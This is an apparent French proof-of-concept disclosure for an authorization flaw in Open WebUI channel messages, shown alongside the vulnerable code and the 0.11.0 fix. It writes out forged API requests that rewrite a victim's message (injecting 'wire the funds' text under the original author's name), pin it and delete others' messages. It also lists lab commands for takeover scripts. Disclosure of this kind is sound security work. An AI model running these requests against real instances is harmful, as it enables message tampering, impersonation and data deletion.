
Exploit de preuve de concept pour une faille d'autorisation dans Open WebUI permettant à des utilisateurs à faibles privilèges de modifier et de supprimer les messages de canal d'autres membres via des appels API forgés.
Open WebUI, versions 0.5.0 à 0.10.2 concernées, corrigé dans 0.11.0. Modéré, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 et CWE-862.
Dans backend/open_webui/routers/channels.py, les gestionnaires de mise à jour et de suppression de messages se divisent selon le type de canal, et les deux branches posent des questions différentes. Les canaux de groupe et de message direct sont réservés à l’auteur.
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
La branche de canal standard valide sur le seul accès en écriture, et l’accès en écriture est précisément ce que new_message_handler exige pour publier ; la capacité à parler a donc été acceptée comme capacité à réécrire et à supprimer. channel_has_access est satisfaite aussi bien par une autorisation par utilisateur que par une autorisation publique, si bien qu’un canal privé avec un collaborateur est concerné au même titre qu’un canal ouvert. Le formulaire de mise à jour lie content, data et meta, tandis que la couche modèle ne touche jamais à message.user_id ; un message modifié conserve donc le nom de l’auteur d’origine.
L’exploitation consiste en trois appels API ordinaires depuis un compte simple avec le rôle user, sans groupe, qui ne possède rien et n’a rien écrit.
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
Le commit c609ec411 dans 0.11.0 divise la vérification : accès en écriture d’abord, puis paternité, ce qui correspond à la branche de groupe. L’épinglage reste au niveau de l’écriture par conception.
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
Relancé contre 0.10.2 le 4 août 2026. Les scripts suppriment les messages d’autres membres ; ne les pointez donc que vers une instance locale jetable.
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7